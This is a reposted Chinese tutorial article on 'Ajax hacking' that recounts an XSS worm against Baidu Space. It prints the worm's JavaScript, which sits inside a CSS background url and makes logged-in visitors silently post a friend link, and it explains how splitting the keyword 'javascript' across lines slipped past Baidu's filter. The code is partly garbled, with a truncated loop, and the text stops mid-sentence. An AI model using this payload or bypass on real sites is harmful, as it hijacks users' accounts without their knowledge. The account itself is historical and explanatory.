当前位置: 网学 > 编程文档 > Ajax > 正文

Ajax Hacking

来源:Http://myeducs.cn 联系QQ:点击这里给我发消息 作者: 用户投稿 来源: 网络 发布时间: 13/07/11

鉴于大家对Ajax十分关注,我们编辑小组在此为大家搜集整理了“Ajax Hacking”一文,供大家参考学习!

由此Ajax攻击可见一斑,然而这还仅仅是个开始。7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月,相应的攻击方式又产生了,这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(Cascading Stylesheet,层叠样式表单)中对插入的javascript过滤不严格,而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下:
复制代码 代码如下:#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的样式标签中插入javascript代码 
var req = null; 
if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 这句懂ajax的都知道,是它的核心XMLHttpRequest,而下面当然是必不可少的判断是否IE的语句了。 
else if(window.ActiveXObject){ 
var msxml = new Array(''MSXML2.XMLHTTP.5.0'', ''MSXML2.XMLHTTP.4.0'', ''MSXML2.XMLHTTP.3.0'', ''MSXML2.XMLHTTP'', ''Microsoft.XMLHTTP''); 
for(var i=0;i try{req.overrideMimeType(''text/xml'')}catch(e){} 

req.open(''get'',''.'',false); 
req.send(); 
var s=req.responseText; 
p=s.indexOf(''passport.baidu.com/?logout''); 
if(p>0) 

p=s.indexOf(''''); 
if(p>0) 

p=s.indexOf(''/'',p); 
p2=s.indexOf(String.fromCharCode(34),p); 
var user=s.substring(p+1,p2); 
var name=''Here is a bad site''; 
var link=''目标网址''; 
var desc=''This link was added by an XSS script''; 
var url=''/''+user+''/commit''; 
var data=''ct=6&cm=1&spRef=''+escape(''http://hi.baidu.com/'+user)+''%2Fmodify%2Fbuddylink%2F0&spBuddyName=''+escape(name)+''&spBuddyURL=''+escape(link)+''&spBuddyIntro=''+escape(desc); //- - 这句是整个蠕虫的执行语句,也是Ajax的数据异步调用语句。 
req.open(''post'',url,false); 
req.send(data); 
alert(''A friend link has been added to your space at http://hi.baidu.com/' +user); 


else{alert(''You are not a logged Baidu user.'');} //- - 由于是标本语句,所以这里有对是否登陆的判断,但实际攻击中当然不会有。 
}"); 
} 当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript,当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕,因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写,就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生,其造成的结果是在用户的css中加入如下代码:
#header {……
很简单的一句吧,这几乎把该蠕虫提升到了病毒性质,因为用户本身无法到达css修改页面来修
  • 上一篇资讯: ajax实现标签导航
  • 下一篇资讯: 一个有趣的Ajax Hack示范
  • 网学推荐

    免费论文

    原创论文

    设为首页 | 加入收藏 | 论文首页 | 论文专题 | 设计下载 | 网学软件 | 论文模板 | 论文资源 | 程序设计 | 关于网学 | 站内搜索 | 网学留言 | 友情链接 | 资料中心
    版权所有 QQ:3710167 邮箱:3710167@qq.com 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
    Copyright 2008-2015 myeducs.Cn www.myeducs.Cn All Rights Reserved 湘ICP备09003080号